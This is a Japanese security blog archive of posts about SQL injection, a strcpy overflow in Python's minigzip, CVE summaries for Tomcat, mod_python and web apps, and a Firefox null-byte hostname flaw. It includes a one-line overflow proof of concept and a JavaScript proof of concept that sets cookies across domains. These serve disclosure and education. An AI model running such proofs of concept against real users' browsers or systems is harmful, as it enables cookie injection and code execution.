カテゴリー: Security

SQLインジェクションカンニングシート

XSSに比べSQLインジェクションは非常に簡単に防げる脆弱性ですが、まだまだなくなりません。

SQL Injection Cheat Sheetが公開されています。

http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

追記:上記ページはもう無いようです。以下のURLをご覧ください。

XSS Cheat Sheatと同じような形式になっています。PostgreSQL、MySQL、MS SQL Server、Oracle、その他と攻撃可能なDBMSもわかるようになっています。

OWASPの資料:

参考:

完全なSQLインジェクション対策

CWE-20は知られているか? 〜 開発者必修のNo.1脆弱性のハズが知られていない 〜

Pythonも危ない…

MOPBでPHPのセキュリティホールばかり書いているので「PHP本体のコード、最低だね」と思われているかも知れません。他の言語でも「最低」なコードは探せば いくつでも見つかると思います。今日、full-disclosureに投稿された記事です。

Description:

The source of python contain a various modules, the zlib module contain a minigzip tool, ( * minigzip is a minimal implementation of the gzip utility. ).

Source error:

the error was found in:
– void file_compress(file, mode)
because the use of strcpy() is inapropriatly


#define MAX_NAME_LEN 1024
[..]
void file_compress(file, mode)
char *file;
char *mode;
{
local char outfile[MAX_NAME_LEN];
FILE *in;
gzFile out;

strcpy(outfile, file);
strcat(outfile, GZ_SUFFIX);

the function file_compress() was called by main() function.

Proof of concept:

if you want test the vulnerability try:
$ minigzip `perl -e “print ‘A’x1050″`

— starcadi

教科書に書いてあるstrcpy()スタックバッファオーバーフローに脆弱です。固定バッファ&長さチェック全くなし…. そう言えばMOPBでもこれとほぼ同じ脆弱性が解説されています。偶然なのか、関連があるのか興味があるところです。

(備考:もしかすると作者はファイル名が関数にわたるまでに開いてみるので長すぎるファイル名は渡せない、と考えたのかも知れません。作者のシステムではMAX_NAME_LENとシステムの最大パス名が同じだったのかも知れません。いずれにせよ、危険なコードを書いてしまう考え方です)

モジュール作者の能力の問題もあるかも知れませんが、スクリプト系言語とは言えプログラミング言語なので「自分で自分の首を絞める」ようなコードには対応していない場合も多いと思います。バッファオーバーフロー脆弱性を使わなくてもスクリプトだけでいくらでも悪意をもった行為が行えます。言語なので多少のバッファオーバーフローくらいは問題にならない、と考えている開発者も多いと思います。言語とその言語のモジュール型ライブラリにどの程度のセキュリティを達成させるか?微妙な問題です。

しかし、一つ一つは小さな問題(このPythonの脆弱性も重要度としては「中」レベル)でもスクリプト系言語とそのモジュールはメモリ管理エラーが無い方が望ましいと思います。小さな脆弱性でも組み合わせて重大な影響を与える攻撃が可能になる場合は多いです。Pythonの場合、バッチではなくGUIアプリケーションも多いのでユーザがZIPファイルを開いたら、攻撃コードが実行された(例えば、4321ポートで接続を待つ)などとなりかねないです。Webの場合も同じようにZIPファイルを扱うアプリには、同様の攻撃が行えるかも知れません。

PHPの場合、特殊で多くの共有型Webホスティングサービスで利用可能である事、「自分で自分の首を絞める」コードにもある程度対応してしまっている事から問題を複雑にしています。この結果、PHPの場合は他の言語よりも高いレベルのセキュリティを求められていると思います。

以前、mod_phpと悪意を持った外部プログラムを組み合わせて利用するとApacheのログの読み書きが自由に行える脆弱性が公開されていました。アドバイザリではmod_phpだけ記載されていましたが、この脆弱性もmod_phpに限ったことではありません。mod_python, mod_perl, mod_rubyでも同じ事が可能です。

Month of Python/Perl/Ruby Bugs (Python/PerlはMOPBですね)してくれないかな…

想像力と鈍感力

少し前になりますが小泉前首相が安部首相に対して「鈍感力も大事」と言っていましたが、良い事を言うなあ、と思って聞いていました。「鈍感力」は日常生活でも必要不可欠です。

例えば、道を歩いているだけでも交通事故合うかもしれないです。飛行機に乗ると墜落するかも知れません。もしかすると寝ていても隕石が落ちてきてあたるかも知れません。隕石に当たって死亡する事を心配する人はいないと思いますが、交通事故や飛行機事故を心配する人は多いと思います。可能性を考えすぎると怖くて何も出来なくなります。

コンピュータを使っていても同じです。ネットワークを盗聴されているかも知れません。OSにセキュリティホールがあるかも知れません。ブラウザにセキュリティホールがあるかも知れません。Webサイトにもセキュリティホールがあるかも知れません。可能性を考えすぎると怖くて使えなくなります。

コンピュータの利用には非常に多くのリスクが存在します。CVEに登録・公開されているセキュリティホールはほんの一部で氷山の一角でしかありません。ソフトを全て最新版にしても新しいバージョンに新たなセキュリティホールがあるかも知れません。あり得ないですが仮に「ソフトが全部安全」だとしてもハードウェアに仕組まれた「ソフト(ファームウェア)」に攻撃コードが含まれているかも知れません。コンピュータを実際に利用するには「鈍感力」がないと利用できないほどリスクが沢山あります。

しかし、ソフトウェア開発者にはセキュリティ「鈍感力」は(あまり)必要ありません。「鈍感力」より「想像力」が必要です。ここで間違えるとセキュリティ上の問題になるかも!この仕様だと他の仕様と組み合わせるとセキュリティホールになるかも!と想像できないとならないです。だれであっても、どれだけ経験・知識があっても、どんなに想像力があっても、全ての脆弱性を想像する事は不可能です。

開発者は「想像力」豊かに、利用者は(ある程度)「鈍感力」を持って、コンピュータを利用する必要があります。
# 開発者・利用者ともに「鈍感力」を鍛えすぎ、かな….

セキュリティ用語の統一化

偶然ではないかも知れませんが、同じ時期に同じような物がリリース/改定するとアナウンスされています。

http://cwe.mitre.org/data/dictionary.html
(こちらはDraft5)

http://www.webappsec.org/lists/websecurity/archive/2007-03/msg00041.html
(2.0への改訂作業者募集)
http://www.webappsec.org/projects/threat/
(こちらは1.0)

どの世界でも同じと思いますが用語の使い方は結構適当(いい加減)、同じ事の言い換え(別名)、範囲が不明確(部分集合、etc)など、いろいろ問題もあります。これらが在るとコミュニケーションは行いやすくなります。専門家にとってはあまり苦にならないと思いますが、CWEを全部読んで覚えるのは一般開発者には結構大変かも、と思いました。

Apache Tomcat JK Connector

MOPBでPHPの脆弱性ばかり書いているので書いておきます。

critical: Arbitary code execution and denial of service CVE-2007-0774

An unsafe memory copy in the URI handler for the native JK connector could result in a stackoverflow condition which could be leveraged to execute arbitary code or crash the web server.

Affects: JK 1.2.19-1.2.20
Source shipped with: Tomcat 4.1.34, 5.5.20

ePortfolio(Javaアプリ)の脆弱性

MOPBでPHPのセキュリティ問題ばかり書いているので書いておきます。

Multiple cross-site request forgery (CSRF) vulnerabilities in TKS Banking Solutions ePortfolio 1.0 Java allow remote attackers to perform unspecified restricted actions in the context of certain accounts by bypassing the client-side protection scheme.

出典:CVE-2007-1332

Multiple cross-site scripting (XSS) vulnerabilities in TKS Banking Solutions ePortfolio 1.0 Java allow remote attackers to inject arbitrary web script or HTML via unspecified vectors that bypass the client-side protection scheme, one of which may be the q parameter to the search program. NOTE: some of these details are obtained from third party information.

出典:CVE-2007-1331

これ、よく見ると銀行用のアプリケーションですね。

「Javaで作っているので安全」と言える訳はありません。「ORMを使っているので安全」と言える訳でもありません。当然、「○○フレームワークを使っているので安全」とも言えません。「Javaを使っているのでコード実行されない」と言う事もありません。JSPをインジェクトして実行できてしまったWebアプリもあります。

Webアプリの安全性は言語やフレームワークだけでは確保できません。
常識ですよね。と言いたいところですがNRIセキュアテクノロジーズによると常識とも言えないと思われます。

http://www.atmarkit.co.jp/news/200607/27/nri.html

先日、Java用のWebアプリ入門書を見ていたら間違った(とまでも言わなくても無用な制限を付ける)セキュリティ確保の方法が紹介してありました。Javaで構築されたWebアプリに使い辛い物が多いのはこういったノウハウが広まっているからなのでしょう。

mod_pythonの脆弱性

MOPBでPHPの脆弱性ばかり書いているので他の脆弱性も書いておきます。

Miles Egan discovered that mod_python, when used in output filter mode, did not handle output larger than 16384 bytes, and would display freed memory, possibly disclosing private data. Thanks to Jim Garrison of the Software Freedom Law Center for identifying the original bug as a security vulnerability.

出典:USN-430-1

WebApp (PerlのCMS)の脆弱性

MOPBでPHPの脆弱性ばかり書いているので書いておきます。

Multiple unspecified vulnerabilities in WebAPP before 0.9.9.6 have unknown impact and attack vectors. NOTE: This information is based upon a vague initial disclosure. Details will be updated after the grace period has ended.

出典:CVE-2007-1259

WebAPP before 0.9.9.5 allows remote attackers to submit Search form input that is not checked for (1) composition or (2) length, which has unknown impact, possibly related to “search form hijacking”.

出典:CVE-2007-1187

Summary: WebAPP before 0.9.9.5 does not “censor” the Latest Member real name, which has unknown impact.

出典:CVE-2007-1186

The (1) Search, (2) Edit Profile, (3) Recommend, and (4) User Approval forms in WebAPP before 0.9.9.5 use hidden inputs, which has unknown impact and remote attack vectors.

出典:CVE-2007-1185

The default configuration of WebAPP before 0.9.9.5 has a CAPTCHA setting of “no,” which makes it easier for automated programs to submit false data.

出典:CVE-2007-1184

WebAPP before 0.9.9.5 allows remote authenticated users to spoof another user’s Real Name via whitespace, which has unknown impact and attack vectors.

出典:CVE-2007-1183

全ての今月の脆弱性情報です。多すぎるので全てを書いていません。言語に関わらずCMSには脆弱性が多いです。すべてのCMSユーザはセキュリティ情報に常に注目するべきです。

追記:後で見てみると「CAPTCHA設定がデフォルトOFFなので…」とありますね。これでCVEを作るとなるとかなりの数のWebアプリが脆弱… 生成されるCAPTCHAイメージがOCRに脆弱(PEARのCPATCHAなど)… などCVEが大量に作れます。放っておくとこのブログも海外からのコメント・トラックバックSPAMが毎日数百… 確かに今時CAPTCHAは必須ともいえます…

mod_pythonの脆弱性

MOPBでPHPの脆弱性ばかり書いているので他の脆弱性も書いておきます。

Miles Egan discovered that mod_python, when used in output filter mode, id not handle output larger than 16384 bytes, and would display freed memory, possibly disclosing private data. Thanks to Jim Garrison of the Software Freedom Law Center for identifying the original bug as a security vulnerability.

出典:USN-430-1

MOPBの反応

Stefanさんのブログによると、MOPBのおかげでリファレンスカウンタ、allow_url_include(とallow_url_fopen)のセキュリティホールがやっと修正されることになったようです。ブログの内容はリンク先を見ていただくとしてMOPBの成果として修正された問題についてコメントします。

もっと読む

デバッガさえも信用できない

「How to Cheat Hardware Memory Access」によるとメモリイメージさえ騙せる、としています。

先日cyberpoliceが公開した資料では市販のAntiVirusソフトで検出できたスパイウェアやルートキットなどは28%だったとしていました。ただでさえ低い検出率の上、メモリイメージまでも騙せるとなると困った物です。

カーネルレベルのマルウェアでプロセス、ファイル、レジストリが見えないのは当たり前になりデバッガで追跡するしかない、という話になっていたのですがデバッガでさえも信用できないとなると解析がかなり難しくならざるを得ないでしょうね….

水際で防止するしかないのでWindowsのホームユーザができるだけ早くVistaに乗り換えてくれることを祈るばかり?!です…

# Macでも良いですがBootcampでXPでは困りますからね…
# Intel MacだとVistaは動くが音が出ない、と聞いてますが
# 最新状況はどうなんでしょう?
# 私のノートPC(Vaio Z1)は標準VGAドライバで激遅だった
# のですが昨日ドライバをアップデートしてみたらATIドライバに!!
# XP並の速度では表示できるようになりました。

MOPB-04-2007:PHP 4 unserialize() ZVAL Reference Counter Overflow

“the Month of PHP Bugs”をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリがMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

もっと読む

不正アクセス行為の現状

2/22日に総務省が公開している

不正アクセス行為の発生状況及びアクセス制御機能に関する技術の研究開発の状況
http://www.soumu.go.jp/s-news/2007/070222_3.html

「表2-2 不正アクセス行為の態様の推移」によると、昨年はセキュリティホールを利用してコンピュータを攻撃して検挙した事件はなかったそうです。以前はセキュリティホール攻撃型での検挙もあったのですが、セキュリティホールを攻撃するのはリスクが高いことが認知された(?)結果かもしれません。

金目当てならオークションが一番手っ取り早い、ということのようですね。

Firefox 2.0の脆弱性

Firefox 2.0にNullバイト攻撃の可能性、よくあるバイナリセーフ/非バイナリセーフの問題ですが…

https://bugzilla.mozilla.org/show_bug.cgi?id=370445

The problem lies in how Firefox handles writes to the ‘location.hostname’ DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL – including a string containing \x00.

実験ページ
http://lcamtuf.dione.cc/ffhostname.html

そのページのJavaScript

function do_evil(onload) {
  if (!onload) {
    try { location.hostname='lcamtuf.dione.cc\x00www.coredump.cx'; } 
      catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
  } else if (location.hostname != 'lcamtuf.dione.cc') {
    document.cookie = 'testcookie=1234; domain=.coredump.cx; path=/';
    window.location = 'http://lcamtuf.coredump.cx/ffhostname.cgi';
  }

}

JavaScriptが実行できればどのサイトのクッキーでも設定できてしまいます。かなり強力な脆弱性なので NoScript を使いましょう…
https://addons.mozilla.org/firefox/722/

備考:Session Adoptionに脆弱なサイト(外部で設定されたセッションキーを受け入れるサイト)のユーザは危険。

Apacheの脆弱性

まだ確認してませんがこんなのが…

http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/apache/index.html

The Apache web server is prone to several non crítical vulnerabilities -by themselves- that could allow
by combining them, and on some specific scenarios, to carry out serious attacks, some of them with that impact:

1) Execution of script code in the client side:

1a)Web “defacements” (E-graffity)
2b)Phishing (authentication forms)
3c)System compromise (script execution on same domain than Admin Panel)

2) Location header injection -cache poisoning-:

2a) Denial of service
2b) Partial URL redirection

4) And the most innovative and interesting thing: almost arbitrary injections in the server HTTP response stream:

4a) “on the fly” fake injection of virus.
4b) In the future, with some additional hack, arbitrary injection of binaries -trojans, etc.-